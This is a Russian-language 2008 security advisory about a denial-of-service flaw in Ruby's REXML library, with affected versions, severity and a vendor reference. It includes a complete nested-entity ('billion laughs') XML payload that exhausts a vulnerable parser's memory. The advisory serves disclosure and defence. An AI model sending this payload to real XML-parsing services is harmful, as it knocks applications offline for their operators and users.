Security Lab

Отказ в обслуживании в Ruby

Дата публикации:27.08.2008
Дата изменения:03.09.2008
Всего просмотров:2201
Опасность:
Средняя
Наличие исправления: Инстуркции по устранению
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации: Удаленная
Воздействие: Отказ в обслуживании
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты: Ruby 1.8.x
Ruby 1.9.x
Уязвимые версии: Ruby .8.6-p287, 1.8.7-p72 и 1.9.x, возможно более ранние версии

Описание:
Уязвимость позволяет удаленному пользователю произвести DoS атаку.

Уязвимость существует из-за ошибки в библиотеке REXML при обработке рекурсивно разветвленных XML данных. Удаленный пользователь может с помощью специально сформированного XML документа вызвать отказ в обслуживании приложения. Пример:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE member [
<!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
<!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
<!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
<!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
<!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
<!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
]>
<member>
&a;
</member>

URL производителя: www.ruby-lang.org/en/

Решение: Способов устранения уязвимости не существует в настоящее время. В качестве временного решения производитель рекомендует использовать дополнительный сценарий в приложениях, использующих REXML.

Ссылки: http://www.ruby-lang.org/en/news/2008/08/23/dos-vulnerability-in-rexml/